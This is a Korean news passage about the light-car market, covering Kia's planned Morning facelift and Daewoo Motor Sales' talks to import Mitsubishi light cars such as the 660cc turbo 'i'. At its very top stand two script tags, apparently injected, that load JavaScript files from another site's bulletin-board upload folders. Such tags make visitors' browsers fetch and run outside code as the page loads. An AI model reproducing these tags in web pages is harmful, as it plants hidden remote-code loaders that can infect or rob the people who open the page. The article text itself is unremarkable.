<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 내년엔 상황이 달라질 전망이다. 경차 혜택을 등에 엎은 모닝의 매출 확대가 예상된다. 기아차는 이같은 시장 전망에 따라 다음달 초에 모닝 페이스리프트(부분변경모델)을 출시할 계획이다.
해외 브랜드 중 경차 혜택을 받는 모델의 국내진출도 예고되고 있다.
대우자동차판매는 미쓰비시의 경차 모델을 수입하기 위해 실무접촉을 벌이고 있다. 최근 일본에서 국내에 도입할 차종 품평회를 열기도 했으며 이르면 내년 상반기 중 사업을 구체화할 전망이다.
미쓰비시는 아이(i), ek왜건, 파제로 미니, 미니카 등 경차 라인업을 갖추고 있다. 이중 가장 유력한 후보는 배기량 660cc에 터보차처를 갖춰 출력을 극대화한 \'아이\'로 손꼽힌다. 65마력까지 낼 수 있어 경차 답지 않은 힘을 보인다.
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